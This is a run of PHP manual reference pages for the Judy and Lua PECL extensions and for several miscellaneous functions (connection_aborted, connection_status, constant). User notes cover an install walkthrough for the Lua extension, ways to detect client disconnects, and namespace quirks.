Judy::INT_TO_INT

Define the Judy Array with key/values as Integer, and Integer only.

Judy::INT_TO_MIXED

Define the Judy Array with keys as Integer and Values of any type.

Judy::STRING_TO_INT

Define the Judy Array with keys as a String and Values as Integer, and Integer only.

Judy::STRING_TO_MIXED

Define the Judy Array with keys as a String and Values of any type.

Table of Contents

  • Judy::byCount — Locate the Nth index present in the Judy array
  • Judy::__construct — Construct a new Judy object
  • Judy::count — Count the number of elements in the Judy array
  • Judy::__destruct — Destruct a Judy object
  • Judy::first — Search for the first index in the Judy array
  • Judy::firstEmpty — Search for the first absent index in the Judy array
  • Judy::free — Free the entire Judy array
  • Judy::getType — Return the type of the current Judy array
  • Judy::last — Search for the last index in the Judy array
  • Judy::lastEmpty — Search for the last absent index in the Judy array
  • Judy::memoryUsage — Return the memory used by the Judy array
  • Judy::next — Search for the next index in the Judy array
  • Judy::nextEmpty — Search for the next absent index in the Judy array
  • Judy::offsetExists — Whether a offset exists
  • Judy::offsetGet — Offset to retrieve
  • Judy::offsetSet — Offset to set
  • Judy::offsetUnset — Offset to unset
  • Judy::prev — Search for the previous index in the Judy array
  • Judy::prevEmpty — Search for the previous absent index in the Judy array
  • Judy::size — Return the size of the current Judy array

User Contributed Notes

There are no user contributed notes for this page.


Locate the Nth index present in the Judy array

  • « Judy
  • Judy::__construct »
  • PHP Manual
  • Judy
  • Locate the Nth index present in the Judy array

Judy::byCount

(PECL judy >= 0.1.1)

Judy::byCount — Locate the Nth index present in the Judy array

Description

public int Judy::byCount ( int $nth_index )

Locate the Nth index present in the Judy array.

Parameters

nth_index

Nth index to return. If nth_index equal 1, then it will return the first index in the array.

Return Values

Return the index at the given Nth position.

User Contributed Notes

There are no user contributed notes for this page.


Construct a new Judy object

  • « Judy::byCount
  • Judy::count »
  • PHP Manual
  • Judy
  • Construct a new Judy object

Judy::__construct

(PECL judy >= 0.1.1)

Judy::__construct — Construct a new Judy object

Description

public Judy::__construct ( int $judy_type )

Construct a new Judy object. A Judy object can be accessed like a PHP Array.

Parameters

judy_type

The Judy type to be used.

Return Values

Return the new Judy instance.

User Contributed Notes

There are no user contributed notes for this page.


Count the number of elements in the Judy array

  • « Judy::__construct
  • Judy::__destruct »
  • PHP Manual
  • Judy
  • Count the number of elements in the Judy array

Judy::count

(PECL judy >= 0.1.1)

Judy::count — Count the number of elements in the Judy array

Description

public int Judy::count ([ int $index_start = 0 [, int $index_end = -1 ]] )

Count the number of elements in the Judy array.

Parameters

index_start

Start counting from the given index. Default is first index.

index_end

Stop counting when reaching this index. Default is last index.

Return Values

Return the number of elements.

User Contributed Notes

There are no user contributed notes for this page.


Destruct a Judy object

  • « Judy::count
  • Judy::first »
  • PHP Manual
  • Judy
  • Destruct a Judy object

Judy::__destruct

(PECL judy >= 0.1.1)

Judy::__destruct — Destruct a Judy object

Description

public void Judy::__destruct ( void )

Destruct a Judy object.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Search for the first index in the Judy array

  • « Judy::__destruct
  • Judy::firstEmpty »
  • PHP Manual
  • Judy
  • Search for the first index in the Judy array

Judy::first

(PECL judy >= 0.1.1)

Judy::first — Search for the first index in the Judy array

Description

public mixed Judy::first ([ mixed $index ] )

Search (inclusive) for the first index present that is equal to or greater than the passed Index.

Parameters

index

The index can be an integer or a string corresponding to the index where to start the search.

Return Values

Return the corresponding index in the array.

User Contributed Notes

There are no user contributed notes for this page.


Search for the first absent index in the Judy array

  • « Judy::first
  • Judy::free »
  • PHP Manual
  • Judy
  • Search for the first absent index in the Judy array

Judy::firstEmpty

(PECL judy >= 0.1.1)

Judy::firstEmpty — Search for the first absent index in the Judy array

Description

public int Judy::firstEmpty ([ mixed $index = 0 ] )

Search (inclusive) for the first absent index that is equal to or greater than the passed Index.

Parameters

index

The index can be an integer or a string corresponding to the index where to start the search.

Return Values

Return the corresponding index in the array.

User Contributed Notes

There are no user contributed notes for this page.


Free the entire Judy array

  • « Judy::firstEmpty
  • Judy::getType »
  • PHP Manual
  • Judy
  • Free the entire Judy array

Judy::free

(PECL judy >= 0.1.1)

Judy::free — Free the entire Judy array

Description

public int Judy::free ( void )

Free the entire Judy array.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Return the type of the current Judy array

  • « Judy::free
  • Judy::last »
  • PHP Manual
  • Judy
  • Return the type of the current Judy array

Judy::getType

(PECL judy >= 0.1.1)

Judy::getType — Return the type of the current Judy array

Description

public int Judy::getType ( void )

Return an integer corresponding to the Judy type of the current object.

Parameters

This function has no parameters.

Return Values

Return an integer corresponding to a Judy type.

User Contributed Notes

There are no user contributed notes for this page.


Search for the last index in the Judy array

  • « Judy::getType
  • Judy::lastEmpty »
  • PHP Manual
  • Judy
  • Search for the last index in the Judy array

Judy::last

(PECL judy >= 0.1.1)

Judy::last — Search for the last index in the Judy array

Description

public void Judy::last ([ string $index ] )

Search (inclusive) for the last index present that is equal to or less than the passed Index.

Parameters

index

The index can be an integer or a string corresponding to the index where to start the search.

Return Values

Return the corresponding index in the array.

User Contributed Notes

There are no user contributed notes for this page.


Search for the last absent index in the Judy array

  • « Judy::last
  • Judy::memoryUsage »
  • PHP Manual
  • Judy
  • Search for the last absent index in the Judy array

Judy::lastEmpty

(PECL judy >= 0.1.1)

Judy::lastEmpty — Search for the last absent index in the Judy array

Description

public int Judy::lastEmpty ([ int $index = -1 ] )

Search (inclusive) for the last absent index that is equal to or less than the passed Index.

Parameters

index

The index can be an integer or a string corresponding to the index where to start the search.

Return Values

Return the corresponding index in the array.

User Contributed Notes

There are no user contributed notes for this page.


Return the memory used by the Judy array

  • « Judy::lastEmpty
  • Judy::next »
  • PHP Manual
  • Judy
  • Return the memory used by the Judy array

Judy::memoryUsage

(PECL judy >= 0.1.1)

Judy::memoryUsage — Return the memory used by the Judy array

Description

public int Judy::memoryUsage ( void )

Return the memory used by the Judy array.

Parameters

This function has no parameters.

Return Values

Return the memory used in bytes.

User Contributed Notes

There are no user contributed notes for this page.


Search for the next index in the Judy array

  • « Judy::memoryUsage
  • Judy::nextEmpty »
  • PHP Manual
  • Judy
  • Search for the next index in the Judy array

Judy::next

(PECL judy >= 0.1.1)

Judy::next — Search for the next index in the Judy array

Description

public mixed Judy::next ( mixed $index )

Search (exclusive) for the next index present that is greater than the passed Index.

Parameters

index

The index can be an integer or a string corresponding to the index where to start the search.

Return Values

Return the corresponding index in the array.

User Contributed Notes

There are no user contributed notes for this page.


Search for the next absent index in the Judy array

  • « Judy::next
  • Judy::offsetExists »
  • PHP Manual
  • Judy
  • Search for the next absent index in the Judy array

Judy::nextEmpty

(PECL judy >= 0.1.1)

Judy::nextEmpty — Search for the next absent index in the Judy array

Description

public int Judy::nextEmpty ( int $index )

Search (exclusive) for the next absent index that is greater than the passed Index.

Parameters

index

The index can be an integer or a string corresponding to the index where to start the search.

Return Values

Return the corresponding index in the array.

User Contributed Notes

There are no user contributed notes for this page.


Whether a offset exists

  • « Judy::nextEmpty
  • Judy::offsetGet »
  • PHP Manual
  • Judy
  • Whether a offset exists

Judy::offsetExists

(PECL judy >= 0.1.1)

Judy::offsetExists — Whether a offset exists

Description

public bool Judy::offsetExists ( mixed $offset )

Whether or not an offset exists.

Parameters

offset

An offset to check for.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Offset to retrieve

  • « Judy::offsetExists
  • Judy::offsetSet »
  • PHP Manual
  • Judy
  • Offset to retrieve

Judy::offsetGet

(PECL judy >= 0.1.1)

Judy::offsetGet — Offset to retrieve

Description

public mixed Judy::offsetGet ( mixed $offset )

Returns the value at specified offset.

Parameters

offset

The offset to retrieve.

Return Values

Can return all value types.

User Contributed Notes

There are no user contributed notes for this page.


Offset to set

  • « Judy::offsetGet
  • Judy::offsetUnset »
  • PHP Manual
  • Judy
  • Offset to set

Judy::offsetSet

(PECL judy >= 0.1.1)

Judy::offsetSet — Offset to set

Description

public bool Judy::offsetSet ( mixed $offset , mixed $value )

Assigns a value to the specified offset.

Parameters

offset

The offset to assign the value to.

value

The value to set.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Offset to unset

  • « Judy::offsetSet
  • Judy::prev »
  • PHP Manual
  • Judy
  • Offset to unset

Judy::offsetUnset

(PECL judy >= 0.1.1)

Judy::offsetUnset — Offset to unset

Description

public bool Judy::offsetUnset ( mixed $offset )

Unsets an offset.

Parameters

offset

The offset to unset.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Search for the previous index in the Judy array

  • « Judy::offsetUnset
  • Judy::prevEmpty »
  • PHP Manual
  • Judy
  • Search for the previous index in the Judy array

Judy::prev

(PECL judy >= 0.1.1)

Judy::prev — Search for the previous index in the Judy array

Description

public mixed Judy::prev ( mixed $index )

Search (exclusive) for the previous index present that is less than the passed Index.

Parameters

index

The index can be an integer or a string corresponding to the index where to start the search.

Return Values

Return the corresponding index in the array.

User Contributed Notes

There are no user contributed notes for this page.


Search for the previous absent index in the Judy array

  • « Judy::prev
  • Judy::size »
  • PHP Manual
  • Judy
  • Search for the previous absent index in the Judy array

Judy::prevEmpty

(PECL judy >= 0.1.1)

Judy::prevEmpty — Search for the previous absent index in the Judy array

Description

public int Judy::prevEmpty ( mixed $index )

Search (exclusive) for the previous index absent that is less than the passed Index.

Parameters

index

The index can be an integer or a string corresponding to the index where to start the search.

Return Values

Return the corresponding index in the array.

User Contributed Notes

There are no user contributed notes for this page.


Return the size of the current Judy array

  • « Judy::prevEmpty
  • Judy Functions »
  • PHP Manual
  • Judy
  • Return the size of the current Judy array

Judy::size

(PECL judy >= 0.1.1)

Judy::size — Return the size of the current Judy array

Description

public void Judy::size ( void )

This method is an alias of Judy::count.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

Return an integer.

User Contributed Notes

There are no user contributed notes for this page.


Judy Functions

Table of Contents

  • judy_type — Return the type of a Judy array
  • judy_version — Return or print the current PHP Judy version

User Contributed Notes

There are no user contributed notes for this page.


Return the type of a Judy array

  • « Judy Functions
  • judy_version »
  • PHP Manual
  • Judy Functions
  • Return the type of a Judy array

judy_type

(PECL judy >= 0.1.1)

judy_type — Return the type of a Judy array

Description

int judy_type ( Judy $array )

judy_type() return an integer corresponding to the Judy type of the specified Judy array.

Parameters

array

The Judy Array to test.

Return Values

Return an integer corresponding to a Judy type.

User Contributed Notes

There are no user contributed notes for this page.


Return or print the current PHP Judy version

  • « judy_type
  • Lua »
  • PHP Manual
  • Judy Functions
  • Return or print the current PHP Judy version

judy_version

(PECL judy >= 0.1.1)

judy_version — Return or print the current PHP Judy version

Description

string judy_version ( void )

Return a string of the PHP Judy version. If the return value is not used, the string will be printed.

Parameters

This function has no parameters.

Return Values

Return a string of the PHP Judy version.

User Contributed Notes

There are no user contributed notes for this page.


Lua

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Lua — The Lua class
    • Lua::assign — Assign a PHP variable to Lua
    • Lua::call — Call Lua functions
    • Lua::__construct — Lua constructor
    • Lua::eval — Evaluate a string as Lua code
    • Lua::getVersion — The getversion purpose
    • Lua::include — Parse a Lua script file
    • Lua::registerCallback — Register a PHP function to Lua
  • LuaClosure — The LuaClosure class
    • LuaClosure::__invoke — invoke luaclosure

User Contributed Notes

There are no user contributed notes for this page.


Introduction

"Lua is a powerful, fast, light-weight, embeddable scripting language." This extension embeds the lua interpreter and offers an OO-API to lua variables and functions.

User Contributed Notes

There are no user contributed notes for this page.


Requirements

To use this extension, you will need Lua installed, available on the » Lua homepage

User Contributed Notes

There are no user contributed notes for this page.


Installation

This » PECL extension is not bundled with PHP.

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/lua.

A DLL for this PECL extension is currently unavailable. See also the building on Windows section.

User Contributed Notes

posti at taitavasti dot fi 15-Apr-2013 10:29
Simple guide to install phplua on CentOS 6.3:

Run these commands in terminal as root:

$yum install php-pear php-devel gcc lua-devel lua-static
$mkdir /usr/include/lua
$ln -s /usr/include/lua.h /usr/include/lua/lua.h
$pecl install lua-1.0.0

Then edit /etc/php.ini and add the following line below the similar ones:
extension=lua.so

Finally restart your web server and you should be all done!

I spent days googling around, trying and failing and gathering up what needs to be installed when you just have apache2 and php5 installed and working.

Thus there is this bug preventing pecl from finding lua.h, which is fixed by the symlink created above. The bug is already submitted:

https://bugs.php.net/bug.php?id=60641

Hope this info helps some body else too!


The Lua class

(PECL lua >=0.9.0)

Introduction

Class synopsis

Lua {
/* Constants */
const string LUA_VERSION = Lua 5.1.4 ;
/* Methods */
public mixed assign ( string $name , string $value )
public mixed call ( callable $lua_func [, array $args [, int $use_self = 0 ]] )
public mixed __call ( callable $lua_func [, array $args [, int $use_self = 0 ]] )
public __construct ( string $lua_script_file = NULL )
public mixed eval ( string $statements )
public string getVersion ( void )
public mixed include ( string $file )
public mixed registerCallback ( string $name , callable $function )
}

Predefined Constants

Lua::LUA_VERSION

Table of Contents

  • Lua::assign — Assign a PHP variable to Lua
  • Lua::call — Call Lua functions
  • Lua::__construct — Lua constructor
  • Lua::eval — Evaluate a string as Lua code
  • Lua::getVersion — The getversion purpose
  • Lua::include — Parse a Lua script file
  • Lua::registerCallback — Register a PHP function to Lua

User Contributed Notes

There are no user contributed notes for this page.


Assign a PHP variable to Lua

  • « Lua
  • Lua::call »
  • PHP Manual
  • Lua
  • Assign a PHP variable to Lua

Lua::assign

(PECL lua >=0.9.0)

Lua::assign — Assign a PHP variable to Lua

Description

public mixed Lua::assign ( string $name , string $value )

Warning

This function is currently not documented; only its argument list is available.

Parameters

name

value

Return Values

Returns $this or NULL on failure.

Examples

Example #1 Lua::assign()example

<?php
$lua = new Lua();
$lua->assign("php_var", array(1=>1, 2, 3)); //lua table index begin with 1
$lua->eval(<<<CODE
    print(php_var);
CODE
);
?>

The above example will output:

Array
 (
     [1] => 1
     [2] => 2
     [3] => 3
 )

User Contributed Notes

There are no user contributed notes for this page.


Call Lua functions

  • « Lua::assign
  • Lua::__construct »
  • PHP Manual
  • Lua
  • Call Lua functions

Lua::call

Lua::__call

(PECL lua >=0.9.0)

Lua::call -- Lua::__call — Call Lua functions

Description

public mixed Lua::call ( callable $lua_func [, array $args [, int $use_self = 0 ]] )
public mixed Lua::__call ( callable $lua_func [, array $args [, int $use_self = 0 ]] )

Warning

This function is currently not documented; only its argument list is available.

Parameters

lua_func

Function name in lua

args

Arguments passed to the Lua function

use_self

Whether to use self

Return Values

Returns result of the called function, NULL for wrong arguments or FALSE on other failure.

Examples

Example #1 Lua::call()example

<?php
$lua = new Lua();
$lua->eval(<<<CODE
    function dummy(foo, bar)
        print(foo, ",", bar)
    end
CODE
);
$lua->call("dummy", array("Lua", "geiliable\n"));
$lua->dummy("Lua", "geiliable"); // __call()
var_dump($lua->call(array("table", "concat"), array(array(1=>1, 2=>2, 3=>3), "-")));
?>

The above example will output:

Lua,geiliable
Lua,geiliable
string(5) "1-2-3"

See Also

  • __call()

User Contributed Notes

There are no user contributed notes for this page.


Lua constructor

  • « Lua::call
  • Lua::eval »
  • PHP Manual
  • Lua
  • Lua constructor

Lua::__construct

(PECL lua >=0.9.0)

Lua::__construct — Lua constructor

Description

public Lua::__construct ( string $lua_script_file = NULL )

Warning

This function is currently not documented; only its argument list is available.

Parameters

lua_script_file

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Evaluate a string as Lua code

  • « Lua::__construct
  • Lua::getVersion »
  • PHP Manual
  • Lua
  • Evaluate a string as Lua code

Lua::eval

(PECL lua >=0.9.0)

Lua::eval — Evaluate a string as Lua code

Description

public mixed Lua::eval ( string $statements )

Warning

This function is currently not documented; only its argument list is available.

Parameters

statements

Return Values

Returns result of evaled code, NULL for wrong arguments or FALSE on other failure.

Examples

Example #1 Lua::eval()example

<?php
$lua = new Lua();
$lua->eval(<<<CODE
    print(2);
CODE
);
?>

The above example will output:

2

User Contributed Notes

There are no user contributed notes for this page.


The getversion purpose

  • « Lua::eval
  • Lua::include »
  • PHP Manual
  • Lua
  • The getversion purpose

Lua::getVersion

(PECL lua >=0.9.0)

Lua::getVersion — The getversion purpose

Description

public string Lua::getVersion ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

Returns Lua::LUA_VERSION.

User Contributed Notes

There are no user contributed notes for this page.


Parse a Lua script file

  • « Lua::getVersion
  • Lua::registerCallback »
  • PHP Manual
  • Lua
  • Parse a Lua script file

Lua::include

(PECL lua >=0.9.0)

Lua::include — Parse a Lua script file

Description

public mixed Lua::include ( string $file )

Warning

This function is currently not documented; only its argument list is available.

Parameters

file

Return Values

Returns result of included code, NULL for wrong arguments or FALSE on other failure.

User Contributed Notes

There are no user contributed notes for this page.


Register a PHP function to Lua

  • « Lua::include
  • LuaClosure »
  • PHP Manual
  • Lua
  • Register a PHP function to Lua

Lua::registerCallback

(No version information available, might only be in Git)

Lua::registerCallback — Register a PHP function to Lua

Description

public mixed Lua::registerCallback ( string $name , callable $function )

Register a PHP function to Lua as a function named "$name"

Parameters

name

function

A valid PHP function callback

Return Values

Returns $this, NULL for wrong arguments or FALSE on other failure.

Examples

Example #1 Lua::registerCallback()example

<?php
$lua = new Lua();
$lua->registerCallback("echo", "var_dump");
$lua->eval(<<<CODE
    echo({1, 2, 3});
CODE
);
?>

The above example will output:

array(3) {
  [1]=>
  float(1)
  [2]=>
  float(2)
  [3]=>
  float(3)
}

User Contributed Notes

There are no user contributed notes for this page.


The LuaClosure class

(PECL lua >=0.9.0)

Introduction

LuaClosure is a wrapper class for LUA_TFUNCTION which could be return from calling to Lua function.

Class synopsis

LuaClosure {
/* Methods */
public void __invoke ( mixed $arg [, mixed $... ] )
}

Table of Contents

  • LuaClosure::__invoke — invoke luaclosure

User Contributed Notes

There are no user contributed notes for this page.


invoke luaclosure

  • « LuaClosure
  • Misc. »
  • PHP Manual
  • LuaClosure
  • invoke luaclosure

LuaClosure::__invoke

(PECL lua >=0.9.0)

LuaClosure::__invoke — invoke luaclosure

Description

public void LuaClosure::__invoke ( mixed $arg [, mixed $... ] )

Warning

This function is currently not documented; only its argument list is available.

Parameters

arg

...

Return Values

Examples

Example #1 LuaClosure::__invoke()example

<?php
$lua = new Lua();
$closure = $lua->eval(<<<CODE
    return (function ()
        print("hello world")
    end)
CODE
);

$lua->call($closure);
/* after PHP 5.3 */
$closure();
?>

The above example will output:

hello worldhello world

User Contributed Notes

There are no user contributed notes for this page.


Miscellaneous Functions

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Misc. Functions
    • connection_aborted — Check whether client disconnected
    • connection_status — Returns connection status bitfield
    • constant — Returns the value of a constant
    • define — Defines a named constant
    • defined — Checks whether a given named constant exists
    • die — Equivalent to exit
    • eval — Evaluate a string as PHP code
    • exit — Output a message and terminate the current script
    • get_browser — Tells what the user's browser is capable of
    • __halt_compiler — Halts the compiler execution
    • highlight_file — Syntax highlighting of a file
    • highlight_string — Syntax highlighting of a string
    • ignore_user_abort — Set whether a client disconnect should abort script execution
    • pack — Pack data into binary string
    • php_check_syntax — Check the PHP syntax of (and execute) the specified file
    • php_strip_whitespace — Return source with stripped comments and whitespace
    • show_source — Alias of highlight_file
    • sleep — Delay execution
    • sys_getloadavg — Gets system load average
    • time_nanosleep — Delay for a number of seconds and nanoseconds
    • time_sleep_until — Make the script sleep until the specified time
    • uniqid — Generate a unique ID
    • unpack — Unpack data from binary string
    • usleep — Delay execution in microseconds
  • Changelog

User Contributed Notes

There are no user contributed notes for this page.


Introduction

These functions were placed here because none of the other categories seemed to fit.

User Contributed Notes

There are no user contributed notes for this page.


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

Misc. Configuration Options
Name | Default | Changeable | Changelog
ignore_user_abort | "0" | PHP_INI_ALL |
highlight.string | "#DD0000" | PHP_INI_ALL |
highlight.comment | "#FF8000" | PHP_INI_ALL |
highlight.keyword | "#007700" | PHP_INI_ALL |
highlight.bg | "#FFFFFF" | PHP_INI_ALL | Removed in PHP 5.4.0.
highlight.default | "#0000BB" | PHP_INI_ALL |
highlight.html | "#000000" | PHP_INI_ALL |
browscap | NULL | PHP_INI_SYSTEM |
For further details and definitions of the PHP_INI_* modes, see the Where a configuration setting may be set.

Here's a short explanation of the configuration directives.

ignore_user_abort boolean

FALSE by default. If changed to TRUE scripts will not be terminated after a client has aborted their connection.

See also ignore_user_abort().

highlight.bg string
highlight.comment string
highlight.default string
highlight.html string
highlight.keyword string
highlight.string string

Colors for Syntax Highlighting mode. Anything that's acceptable in <font color="??????"> would work.

browscap string

Name (e.g.: browscap.ini) and location of browser capabilities file. See also get_browser().

User Contributed Notes

There are no user contributed notes for this page.


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

CONNECTION_ABORTED (integer)
CONNECTION_NORMAL (integer)
CONNECTION_TIMEOUT (integer)
__COMPILER_HALT_OFFSET__ (integer)
Added in PHP 5.1.

User Contributed Notes

There are no user contributed notes for this page.


Misc. Functions

Table of Contents

  • connection_aborted — Check whether client disconnected
  • connection_status — Returns connection status bitfield
  • constant — Returns the value of a constant
  • define — Defines a named constant
  • defined — Checks whether a given named constant exists
  • die — Equivalent to exit
  • eval — Evaluate a string as PHP code
  • exit — Output a message and terminate the current script
  • get_browser — Tells what the user's browser is capable of
  • __halt_compiler — Halts the compiler execution
  • highlight_file — Syntax highlighting of a file
  • highlight_string — Syntax highlighting of a string
  • ignore_user_abort — Set whether a client disconnect should abort script execution
  • pack — Pack data into binary string
  • php_check_syntax — Check the PHP syntax of (and execute) the specified file
  • php_strip_whitespace — Return source with stripped comments and whitespace
  • show_source — Alias of highlight_file
  • sleep — Delay execution
  • sys_getloadavg — Gets system load average
  • time_nanosleep — Delay for a number of seconds and nanoseconds
  • time_sleep_until — Make the script sleep until the specified time
  • uniqid — Generate a unique ID
  • unpack — Unpack data from binary string
  • usleep — Delay execution in microseconds

User Contributed Notes

There are no user contributed notes for this page.


Check whether client disconnected

  • « Misc. Functions
  • connection_status »
  • PHP Manual
  • Misc. Functions
  • Check whether client disconnected

connection_aborted

(PHP 4, PHP 5)

connection_aborted — Check whether client disconnected

Description

int connection_aborted ( void )

Checks whether the client disconnected.

Return Values

Returns 1 if client disconnected, 0 otherwise.

See Also

  • connection_status() - Returns connection status bitfield
  • ignore_user_abort() - Set whether a client disconnect should abort script execution
  • Connection Handling for a complete description of connection handling in PHP.

User Contributed Notes

nathanb at php dot net 22-Jan-2013 05:50
A trick to detecting if a connection is closed without having to send data that will otherwise corrupt the stream of data (like a binary file) you can use a combination of chunking the data on HTTP/1.1 by sending a "0" ("zero") as a leading chunk size without anything else.

*NOTE* it's important to note that it's not a good idea to check the stream more then once every few seconds. By doing this you are potentially increasing the data sent to the user with no gain to the user.

A good reason to do it this way is if you are generating a report that takes a long time to run and takes a lot of server resources. This would allow the server to detect if a user canceled the download and do any cleanup without corrupting the file file being download.

Here is an example:

<?php
ignore_user_abort(true);
header('Transfer-Encoding:chunked');
ob_flush();
flush();
$start = microtime(true);
$i = 0;
// Use this function to echo anything to the browser.
function vPrint($data){
    if(strlen($data))
        echo dechex(strlen($data)), "\r\n", $data, "\r\n";
    ob_flush();
    flush();
}
// You MUST execute this function after you are done streaming information to the browser.
function endPacket(){
    echo "0\r\n\r\n";
    ob_flush();
    flush();
}
do{
    echo "0";
    ob_flush();
    flush();
    if(connection_aborted()){
        // This happens when connection is closed
        file_put_contents('/tmp/test.tmp', sprintf("Conn Closed\nTime spent with connection open: %01.5f sec\nLoop itterations: %s\n\n", microtime(true) - $start, $i), FILE_APPEND);
        endPacket();
        exit;
    }
    usleep(50000);
    vPrint("I get echo'ed every itteration (every .5 second)<br />\n");
}while($i++ < 200);
endPacket();
?>
Luciano 18-Dec-2009 10:01
In order to detect a disconnection inside the script we need to flush the buffer (it is only when the the server tries to send the buffer content that it will see that the connection is broken).

Thus we need to use the ob_implicit_flush() function to flush automatically the buffer

This is an example of a disconnection detection :

<?php
  // enables the automatic flush
  ob_implicit_flush();

  function verifyCommunication() {
    $status = (connection_aborted()?"not ":"") ."sent";
    persistCommunication(new Communication($status));
  }

  // we will check the communication state when the script finished
  register_shutdown_function(verifyCommunication);
  echo "blabla";
  // this sleep is used to have time to break the connection on the client side
  sleep(10);
  echo"tata";
?>

I use such a process to cancel a request if the client didn't get the acknowledgement because he will redo his request...
rickyale at ig dot com dot br 13-Nov-2009 08:49
(connection_aborted not working)
I had this problem years ago, now the problem came back after upgrading php... i tried everything i found and in the end the function ob_end_flush();  on top of script as post in php bug track solved the problem. Im using windows 7 x64 / php 5.2.4 / apache 2.2.14 (win32)

try adding ob_end_flush(); on top of you script.
i read something about this but can't remember where, it was related to a bug or something.

hope this help.
phpcoder at cyberpimp dot techlab dot info 27-Jun-2007 08:50
Although the documentation indicates it returns an int, I found comparing the return value with numeric values does not seem to work.

Example (does not work):
<?php
if (connection_aborted()==1) {
fwrite($filehandle, 'aborted!');
}
?>

You're better off just assuming it returns boolean

Example (does work):
<?php
if (connection_aborted()) {
fwrite($filehandle, 'aborted!');
}
?>


Returns connection status bitfield

  • « connection_aborted
  • constant »
  • PHP Manual
  • Misc. Functions
  • Returns connection status bitfield

connection_status

(PHP 4, PHP 5)

connection_status — Returns connection status bitfield

Description

int connection_status ( void )

Gets the connection status bitfield.

Return Values

Returns the connection status bitfield, which can be used against the CONNECTION_XXX constants to determine the connection status.

See Also

  • connection_aborted() - Check whether client disconnected
  • ignore_user_abort() - Set whether a client disconnect should abort script execution
  • Connection Handling for a complete description of connection handling in PHP.

User Contributed Notes

jorge dot hebrard at gmail dot com 27-Jan-2009 01:01
You can always send chr(0) to check if browser is still alive, that will show no output in browser page (at least in Firefox).
Michael 21-Mar-2005 06:59
Yes it is true. I made some experiments with that functions 'connection_abortes()'. First a source made an error, which I see. They wrote: ignore_user_abort();

But that only gives you the status of the 'Abort-Setting'.
So I try (with little hope)
  'ignore_user_abort(true);'
And as I readout the setting it has changed it...

Next I see that the script runs after I disconnect with the site. But other experiments fail. I try some things and then it
was logical after an experiment: flush() is one of the necessary things. Without those output to the client the function
          'connection_aborted()' stays on 'false'
The Second is that you have to output something. Without that it also doesn't works.
So I now know that you have to echo something and then output the buffer. Only then 'the Script' (or the function)
'knows' that the client is disconnected.
toppi at kacke dot de 16-Jun-2004 06:06
Notice !

if you running a loop (while, foeach etc..)  you have to send something to the browser to check the status.

Example:

while(1){
    if (connection_status()!=0){
    die;
    }
}
doesnt work, if the user break/close the browser.

But a:

while(1){
    Echo "\n"; //<-- send this to the client
    if (connection_status()!=0){
    die;
    }
}
will work :)

i hope it will help some of you to safe some time :)

Toppi


Returns the value of a constant

  • « connection_status
  • define »
  • PHP Manual
  • Misc. Functions
  • Returns the value of a constant

constant

(PHP 4 >= 4.0.4, PHP 5)

constant — Returns the value of a constant

Description

mixed constant ( string $name )

Return the value of the constant indicated by name.

constant() is useful if you need to retrieve the value of a constant, but do not know its name. I.e. it is stored in a variable or returned by a function.

This function works also with class constants.

Parameters

name

The constant name.

Return Values

Returns the value of the constant, or NULL if the constant is not defined.

Errors/Exceptions

An E_WARNING level error is generated if the constant is not defined.

Examples

Example #1 constant() example

<?php

define("MAXSIZE", 100);

echo MAXSIZE;
echo constant("MAXSIZE"); // same thing as the previous line

interface bar {
    const test = 'foobar!';
}

class foo {
    const test = 'foobar!';
}

$const = 'test';

var_dump(constant('bar::'. $const)); // string(7) "foobar!"
var_dump(constant('foo::'. $const)); // string(7) "foobar!"

?>

See Also

  • define() - Defines a named constant
  • defined() - Checks whether a given named constant exists
  • The section on Constants

User Contributed Notes

Richard J. Turner 31-Jan-2013 08:57
As of PHP 5.4.6 constant() pays no attention to any namespace aliases that might be defined in the file in which it's used. I.e. constant() always behaves as if it is called from the global namespace. This means that the following will not work:

<?php
class Foo {
    const BAR = 42;
}
?>

<?php
namespace Baz;

use \Foo as F;

echo constant('F::BAR');
?>

However, calling constant('Foo::BAR') will work as expected.
adam at adamhahn dot com 28-Sep-2011 09:59
This function is namespace sensitive when calling class constants.

Using:
<?php namespace sub;

class foo {
    const BAR = 'Hello World';
}

constant('foo::BAR'); // Error

constant('sub\foo::BAR'); // works

?>

This does not seem to affect constants defined with the 'define' function. Those all end up defined in the root namespace unless another namespace is implicitly defined in the string name of the constant.
bohwaz 05-Jul-2010 03:28
Return constants from an object. You can filter by regexp or match by value to find a constant name from the value.

Pretty useful sometimes.

<?php

function findConstantsFromObject($object, $filter = null, $find_value = null)
{
    $reflect = new ReflectionClass($object);
    $constants = $reflect->getConstants();

    foreach ($constants as $name => $value)
    {
        if (!is_null($filter) && !preg_match($filter, $name))
        {
            unset($constants[$name]);
            continue;
        }

        if (!is_null($find_value) && $value != $find_value)
        {
            unset($constants[$name]);
            continue;
        }
    }

    return $constants;
}

?>

Examples :

<?php

class Example
{
    const GENDER_UNKNOW = 0;
    const GENDER_FEMALE = 1;
    const GENDER_MALE = 2;

    const USER_OFFLINE = false;
    const USER_ONLINE = true;
}

$all = findConstantsFromObject('Example');

$genders = findConstantsFromObject('Example', '/^GENDER_/');

$my_gender = 1;
$gender_name = findConstantsFromObject('Example', '/^GENDER_/', $my_gender);

if (isset($gender_name[0]))
{
    $gender_name = str_replace('GENDER_', '', key($gender_name));
}
else
{
    $gender_name = 'WTF!';
}

?>
hellekin 25-May-2010 05:07
Checking if a constant is empty is bork...

You cannot

<?php
define('A', '');
define('B', 'B');

if (empty(B)) // syntax error
